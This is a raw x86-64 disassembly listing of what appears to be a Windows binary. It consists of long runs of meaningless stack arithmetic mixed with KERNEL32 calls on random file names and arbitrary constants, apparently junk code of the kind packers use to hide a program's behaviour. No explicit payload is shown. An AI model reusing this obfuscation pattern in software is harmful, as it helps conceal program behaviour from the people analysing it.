mov byte [rsp + 0x6bf], al
mov rax, qword [rsp + 0x14920]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x166]
shl eax, cl
mov byte [rsp + 0x2e7], al
movzx eax, word [rsp + 0x2d8c]
mov word [rsp + 0x2dfc], ax
mov eax, dword [rsp + 0xae38]
movzx ecx, al
mov eax, dword [rsp + 0xabf8]
shr eax, cl
mov rcx, qword [rsp + 0x16060]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9a0], eax
lea rax, [rsp + 0x7608]
mov qword [rsp + 0x165e0], rax
mov eax, dword [rsp + 0x8224]
mov ecx, dword [rsp + 0xab9c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xaff4], eax
lea rax, [0x140363c94]
mov qword [rsp + 0x165e8], rax
mov rax, qword [rsp + 0x14b50]
mov ecx, dword [rsp + 0x6ca0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa724], eax
mov rax, qword [rsp + 0x160e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13a18]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15ea8]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0x13400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15908]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14035ccb4], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaec0], eax
mov eax, dword [rsp + 0xa87c]
mov dword [rsp + 0xb234], eax
mov eax, dword [0x140363d20]
mov ecx, dword [rsp + 0xb194]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15310]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9674]
mov ecx, dword [rsp + 0xaa18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d38], eax
mov rax, qword [rsp + 0x147b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6adc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x97f8], eax
mov rax, qword [rsp + 0x14558]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14290]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x25e0], ax
mov rax, qword [rsp + 0x14d40]
movzx eax, byte [rax]
mov byte [rsp + 0x74c], al
mov rax, qword [rsp + 0x13d78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x361]
or eax, ecx
mov byte [rsp + 0x6d5], al
lea rdx, [rsp + 0x45e38]
mov rcx, qword [rsp + 0x14088]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb238], eax
movsx eax, word [rsp + 0x2b5c]
mov rcx, qword [rsp + 0x16490]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bfc], ax
mov eax, dword [rsp + 0xafa0]
mov ecx, dword [rsp + 0x7830]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140363cc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x161c8]
mov rcx, qword [0x1403640e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13fd8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x709]
mov rcx, qword [rsp + 0x13720]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x136e8]
mov byte [rcx], al
lea rax, [rsp + 0x2c2c]
mov qword [rsp + 0x165f0], rax
mov eax, dword [rsp + 0x64d8]
movzx ecx, al
mov eax, dword [0x14035cbf0]
shl eax, cl
mov rcx, qword [rsp + 0x13bf8]
mov dword [rcx], eax
lea rax, [rsp + 0xb22c]
mov qword [rsp + 0x165f8], rax
mov rax, qword [rsp + 0x146c8]
mov ecx, dword [rsp + 0x9430]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa93c], eax
mov rax, qword [rsp + 0x14680]
mov eax, dword [rax]
mov dword [rsp + 0xb23c], eax
mov rax, qword [rsp + 0x151e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2af0]
or eax, ecx
mov rcx, qword [rsp + 0x16288]
mov word [rcx], ax
movzx ecx, word [rsp + 0x2cd8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b14], ax
lea rax, [rsp + 0x705]
mov qword [0x140364140], rax
mov rax, qword [rsp + 0x14160]
mov rcx, qword [rsp + 0x160f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb20c], eax
mov eax, dword [rsp + 0xa894]
mov dword [rsp + 0xb240], eax
mov rax, qword [rsp + 0x139b8]
mov rcx, qword [rsp + 0x14b00]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6650], eax
lea rax, [rsp + 0x6ad8]
mov qword [rsp + 0x16600], rax
mov rax, qword [0x1403639d8]
mov rcx, qword [rsp + 0x14db0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13d40]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1410]
mov rcx, qword [rsp + 0x13bc8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d88], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.2BWkkNR6Wugddn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16608], rax
mov rax, qword [rsp + 0x15dd0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb7]
sub eax, ecx
mov byte [rsp + 0x453], al
movzx eax, word [rsp + 0x29c8]
mov rcx, qword [rsp + 0x137e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a58], ax
lea rcx, str.CisIDHdA0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2d1c], ax
movzx eax, byte [rsp + 0x73d]
mov byte [0x14035e55f], al
mov eax, dword [0x140363f10]
mov dword [rsp + 0xb244], eax
mov rax, qword [rsp + 0x162a8]
mov rcx, qword [rsp + 0x13da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb014], eax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11c0]
or eax, ecx
mov word [rsp + 0x2d44], ax
mov rcx, qword [rsp + 0x16030]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x6dd]
mov qword [rsp + 0x16610], rax
mov rax, qword [rsp + 0x15d98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaad8], eax
lea rax, [rsp + 0xac54]
mov qword [rsp + 0x16618], rax
xor r9d, r9d
lea r8, [rsp + 0x144b8]
mov rdx, qword [rsp + 0x16620]
mov rcx, qword [rsp + 0x16068]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xac28], eax
movzx ecx, word [rsp + 0x2afc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a68], ax
mov rax, qword [0x140363c00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8b3c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xb17c], eax
mov eax, dword [rsp + 0x81b4]
mov rcx, qword [rsp + 0x14bb8]
mov qword [rsp + 0x16628], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16628]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xade8], eax
mov rax, qword [rsp + 0x15220]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c0]
sar eax, cl
mov byte [0x14035e504], al
lea rax, [rsp + 0x2b48]
mov qword [rsp + 0x16630], rax
mov rax, qword [rsp + 0x15160]
mov ecx, dword [rsp + 0xa8f8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb058], eax
mov rax, qword [rsp + 0x15f50]
mov rcx, qword [0x140363a00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x69a8], eax
mov rax, qword [rsp + 0x15748]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x117c]
or eax, ecx
mov word [rsp + 0x2b90], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rcx, [rsp + 0x41ef8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x6dc]
mov byte [rsp + 0x74d], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.ti077QCDRT6y7BJR2p3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16638], rax
movzx eax, word [rsp + 0x2b48]
mov rcx, qword [0x140363b30]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x16578]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x145b0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x710], al
lea rax, [rsp + 0x7608]
mov qword [rsp + 0x16640], rax
lea rax, [rsp + 0xaf34]
mov qword [0x140364148], rax
mov rax, qword [rsp + 0x141e0]
mov ecx, dword [rsp + 0xaeb8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb07c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xae74], eax
mov rax, qword [rsp + 0x16440]
mov rcx, qword [rsp + 0x16080]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa564], eax
mov rax, qword [rsp + 0x14e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8134]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xade0], eax
mov rax, qword [rsp + 0x140f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x706]
sub eax, ecx
mov byte [rsp + 0x701], al
movzx eax, word [rsp + 0x2d04]
mov word [rsp + 0x2e00], ax
mov rax, qword [rsp + 0x14b38]
mov rcx, qword [rsp + 0x13688]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13c60]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov eax, dword [rsp + 0x7dfc]
mov dword [rsp + 0xb248], eax
mov eax, dword [rsp + 0xa8e8]
mov ecx, dword [rsp + 0xb0d4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13960]
mov dword [rcx], eax
mov rax, qword [rsp + 0x136d8]
mov eax, dword [rax]
mov rcx, qword [0x1403639d0]
mov qword [rsp + 0x16648], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16648]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x140363e00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16050]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14098]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13548]
mov byte [rcx], al
lea rax, [rsp + 0x2dac]
mov qword [rsp + 0x16650], rax
mov rax, qword [0x140363ca0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x169c]
xor eax, ecx
mov rcx, qword [rsp + 0x157a8]
mov word [rcx], ax
lea rax, [rsp + 0x74a]
mov qword [rsp + 0x16658], rax
mov dword [rsp + 0x20], 0x38d6
mov r9d, 0x2b47
mov r8d, 0x3b49
mov edx, 0x2618
mov rcx, qword [rsp + 0x14cc8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xb24c], eax
mov eax, dword [rsp + 0xa97c]
mov ecx, dword [rsp + 0xab30]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6768], eax
mov rax, qword [0x140363e38]
mov ecx, dword [rsp + 0xb044]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14848]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6f6]
mov rcx, qword [rsp + 0x14630]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x495], al
mov rax, qword [0x140363fb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c18]
or eax, ecx
mov rcx, qword [rsp + 0x155a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x148a8]
mov rcx, qword [rsp + 0x15d90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14035cca4], eax
lea rax, [rsp + 0xa9c0]
mov qword [rsp + 0x16660], rax
mov rcx, qword [rsp + 0x15de0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x1403640b0]
mov ecx, dword [rsp + 0xafb8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15e28]
mov dword [rcx], eax
lea rax, [rsp + 0xaaec]
mov qword [rsp + 0x16668], rax
movzx eax, byte [rsp + 0x1d6]
movzx ecx, byte [rsp + 0x73e]
add eax, ecx
mov byte [rsp + 0x6b1], al
mov rax, qword [rsp + 0x154a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20cc]
sub eax, ecx
mov rcx, qword [rsp + 0x13f78]
mov word [rcx], ax
mov rax, qword [rsp + 0x161c8]
mov eax, dword [rax]
mov dword [rsp + 0xb250], eax
mov eax, dword [rsp + 0x90d0]
mov ecx, dword [rsp + 0xac5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa1e8], eax
mov eax, dword [rsp + 0xaba0]
mov ecx, dword [rsp + 0xb014]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x76ec], eax
mov eax, dword [rsp + 0xae44]
mov dword [0x140364150], eax
mov eax, dword [rsp + 0xab68]
mov ecx, dword [rsp + 0xa810]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14258]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15e30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13a70]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15cb0]
mov byte [rcx], al
mov rax, qword [rsp + 0x140a0]
movzx eax, word [rax]
mov word [rsp + 0x2e04], ax
movzx eax, byte [rsp + 0x70c]
mov rcx, qword [0x140363c98]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x743], al
lea rax, [rsp + 0x2098]
mov qword [rsp + 0x16670], rax
mov rax, qword [rsp + 0x15820]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xae94]
shl eax, cl
mov rcx, qword [rsp + 0x14e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15600]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xaca8]
sar eax, cl
mov dword [rsp + 0xaaa4], eax
movzx eax, byte [rsp + 0x2c8]
mov byte [rsp + 0x74e], al
mov rax, qword [rsp + 0x15c30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15338]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x140364018]
mov word [rcx], ax
lea rcx, str.IXy_C_23
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b38], ax
mov rax, qword [0x140363ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x924c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6378], eax
lea rax, [rsp + 0xb21c]
mov qword [rsp + 0x16678], rax
mov eax, dword [rsp + 0xa804]
mov ecx, dword [rsp + 0xa920]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb23c], eax
lea rax, [rsp + 0xab44]
mov qword [rsp + 0x16680], rax
movzx eax, word [0x14035cc64]
movzx ecx, word [rsp + 0x2bac]
add eax, ecx
mov rcx, qword [rsp + 0x15540]
mov word [rcx], ax
mov rax, qword [rsp + 0x14ec8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x16610]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6db], al
mov rax, qword [0x140363e00]
mov ecx, dword [rsp + 0xb060]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa028], eax
mov rax, qword [rsp + 0x16168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaed4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9f8], eax
mov rax, qword [rsp + 0x15db0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x721]
sub eax, ecx
mov byte [0x1403535da], al
lea rax, [rsp + 0x27b8]
mov qword [rsp + 0x16688], rax
movzx eax, byte [rsp + 0x567]
movzx ecx, byte [rsp + 0x72e]
sub eax, ecx
mov rcx, qword [rsp + 0x14c58]
mov byte [rcx], al
mov r9d, 1
lea r8, [rsp + 0x15420]
mov rdx, qword [rsp + 0x14430]
mov rcx, qword [rsp + 0x163b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xb254], eax
movzx eax, word [rsp + 0x2dac]
mov rcx, qword [0x140363e30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b98], ax
lea rax, [rsp + 0xb120]
mov qword [rsp + 0x16690], rax
mov eax, dword [rsp + 0xaddc]
movzx ecx, al
mov eax, dword [rsp + 0xaad4]
shl eax, cl
mov rcx, qword [rsp + 0x131b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x158e8]
mov eax, dword [rax]
mov dword [rsp + 0xb258], eax
mov rax, qword [rsp + 0x15aa8]
mov ecx, dword [rsp + 0xaff0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x16528]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb12c]
movzx ecx, al
mov eax, dword [rsp + 0xb01c]
sar eax, cl
mov dword [rsp + 0xb0a0], eax
lea rcx, [rsp + 0x41dd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov qword [rsp + 0x20], 0
mov r9d, 0x3750
mov r8d, 0x1c79
mov edx, 0x99
mov rcx, qword [rsp + 0x136c0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xac28], eax
movzx eax, byte [rsp + 0x704]
movzx ecx, byte [rsp + 0x41e]
or eax, ecx
mov byte [rsp + 0x540], al
movzx eax, word [rsp + 0x23cc]
movzx ecx, word [rsp + 0x2d70]
and eax, ecx
mov word [0x14035cc74], ax
mov eax, dword [0x14035cca4]
mov ecx, dword [rsp + 0xa868]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14150]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x16698], rax
lea rax, [rsp + 0x89b8]
mov qword [rsp + 0x166a0], rax
mov eax, dword [rsp + 0xa32c]
mov ecx, dword [rsp + 0x63a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a30], eax
mov eax, dword [0x14035cca0]
mov ecx, dword [rsp + 0xb02c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x146d8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x29b4]
mov word [rsp + 0x2e08], ax
mov rax, qword [rsp + 0x16480]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65d]
add eax, ecx
mov rcx, qword [rsp + 0x155f8]
mov byte [rcx], al
lea rax, [rsp + 0x736]
mov qword [rsp + 0x166a8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movsx eax, word [0x140362d84]
movsx ecx, word [rsp + 0x2ab4]
or eax, ecx
mov rcx, qword [rsp + 0x15ad0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14b80]
mov eax, dword [rax]
mov dword [0x140364154], eax
mov eax, dword [rsp + 0xa1bc]
mov dword [rsp + 0xb25c], eax
mov rax, qword [rsp + 0x147c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13440]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x72a], al
mov rax, qword [rsp + 0x14d18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15bc8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c80], ax
mov rax, qword [rsp + 0x15f68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8380]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6468], eax
mov eax, dword [rsp + 0xa8a0]
mov ecx, dword [rsp + 0x9474]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xab78], eax
lea rax, [rsp + 0x96a4]
mov qword [rsp + 0x166b0], rax
mov rax, qword [rsp + 0x15328]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x72f8]
sar eax, cl
mov dword [rsp + 0xaa58], eax
mov rax, qword [rsp + 0x137b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b5]
xor eax, ecx
mov byte [rsp + 0x56b], al
lea rax, [rsp + 0x2af0]
mov qword [0x140364158], rax
lea rax, [rsp + 0xb234]
mov qword [rsp + 0x166b8], rax
mov eax, dword [rsp + 0xaf74]
mov rcx, qword [rsp + 0x15a00]
mov qword [rsp + 0x166c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x166c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xabb8], eax
lea rdx, [rsp + 0x45ff8]
mov rcx, qword [rsp + 0x141d8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaad0], eax
mov eax, dword [rsp + 0x7c24]
mov dword [rsp + 0xb260], eax
mov rax, qword [rsp + 0x14138]
mov rcx, qword [rsp + 0x16660]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13c08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15a98]
mov ecx, dword [rsp + 0xb194]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x157f8]
mov dword [rcx], eax
lea rax, [rsp + 0x2a78]
mov qword [rsp + 0x166c8], rax
movsx eax, byte [rsp + 0x718]
movsx ecx, byte [0x14035e4a7]
sub eax, ecx
mov rcx, qword [rsp + 0x151a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x143e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ce4]
add eax, ecx
mov word [rsp + 0x23a0], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb264], eax
mov rax, qword [rsp + 0x13718]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x16610]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14035359f], al
mov r9d, 0x124b
xor r8d, r8d
lea rdx, [rsp + 0x13c28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xac30], eax
mov dword [rsp + 0x20], 0x1473
mov r9d, 0x15b5
mov r8d, 0x26a2
mov edx, 0x3d60
mov rcx, qword [rsp + 0x13940]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa958], eax
mov rax, qword [rsp + 0x15500]
mov rcx, qword [rsp + 0x146d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x16320]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9838]
mov dword [rsp + 0xb268], eax
movzx eax, byte [rsp + 0x118]
mov rcx, qword [rsp + 0x13788]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13650]
mov byte [rcx], al
mov rax, qword [0x140363c80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
or eax, ecx
mov word [rsp + 0x2d50], ax
mov eax, dword [rsp + 0x9f08]
mov dword [rsp + 0xb26c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb270], eax
mov rax, qword [rsp + 0x15780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa868]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c18], eax
lea rax, [rsp + 0xa314]
mov qword [rsp + 0x166d0], rax
mov eax, dword [rsp + 0xb148]
mov ecx, dword [rsp + 0x6d90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16250]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab80], eax
lea rax, [rsp + 0x65c]
mov qword [0x140364160], rax
mov rax, qword [0x140363c60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15f90]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x138c0]
mov word [rcx], ax
lea rax, [rsp + 0xadd4]
mov qword [rsp + 0x166d8], rax
mov eax, dword [rsp + 0xad68]
movzx ecx, al
mov eax, dword [rsp + 0xb078]
sar eax, cl
mov rcx, qword [rsp + 0x16360]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13d60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b18]
xor eax, ecx
mov word [rsp + 0x1d14], ax
movsx eax, byte [rsp + 0x238]
mov rcx, qword [rsp + 0x15b58]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x74d], al
movzx eax, byte [rsp + 0x4c7]
movzx ecx, byte [rsp + 0x416]
or eax, ecx
mov rcx, qword [rsp + 0x14570]
mov byte [rcx], al
lea rax, [rsp + 0x24ec]
mov qword [rsp + 0x166e0], rax
mov rax, qword [rsp + 0x15300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xac58], eax
mov eax, dword [rsp + 0xaacc]
mov ecx, dword [rsp + 0x7114]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140363ad0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0xa884]
mov dword [rsp + 0xb274], eax
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xad70], eax
mov rax, qword [rsp + 0x161c8]
mov ecx, dword [rsp + 0x7114]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8d38], eax
lea rax, [rsp + 0x6d4]
mov qword [rsp + 0x166e8], rax
movzx eax, word [rsp + 0x2dac]
movzx ecx, word [rsp + 0x2c98]
add eax, ecx
mov word [rsp + 0x2b24], ax
mov rax, qword [rsp + 0x14c88]
mov rcx, qword [rsp + 0x14db0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7c08], eax
mov rax, qword [rsp + 0x13408]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb244], eax
mov eax, dword [rsp + 0xaa3c]
mov dword [rsp + 0xb278], eax
mov rax, qword [0x140363b60]
mov rcx, qword [rsp + 0x14c88]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14035cc6c], eax
lea rcx, [rsp + 0x41e98]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x16108]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65c]
add eax, ecx
mov rcx, qword [rsp + 0x13368]
mov byte [rcx], al
mov rax, qword [rsp + 0x15a58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x144a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2ca8], ax
lea rax, [rsp + 0x71c]
mov qword [rsp + 0x166f0], rax
movsx eax, word [rsp + 0x2aec]
movsx ecx, word [rsp + 0x2544]
xor eax, ecx
mov rcx, qword [rsp + 0x15ad0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13620]
mov eax, dword [rax]
mov rcx, qword [0x140363c08]
mov qword [rsp + 0x166f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x166f8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6ba0], eax
mov rax, qword [rsp + 0x15f58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa134], eax
mov rax, qword [rsp + 0x14858]
movzx eax, word [rax]
mov rcx, qword [0x140363ab8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x151b0]
mov word [rcx], ax
lea rax, [rsp + 0x4c7]
mov qword [rsp + 0x16700], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x16708], rax
mov rax, qword [rsp + 0x16218]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8dc4]
or ecx, eax
mov eax, ecx
mov dword [0x14035ccb8], eax
mov rax, qword [rsp + 0x149c8]
mov ecx, dword [rsp + 0xabe0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15318]
mov dword [rcx], eax
lea rax, [rsp + 0xa904]
mov qword [rsp + 0x16710], rax
lea rdx, [rsp + 0x13958]
mov rcx, qword [rsp + 0x14218]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
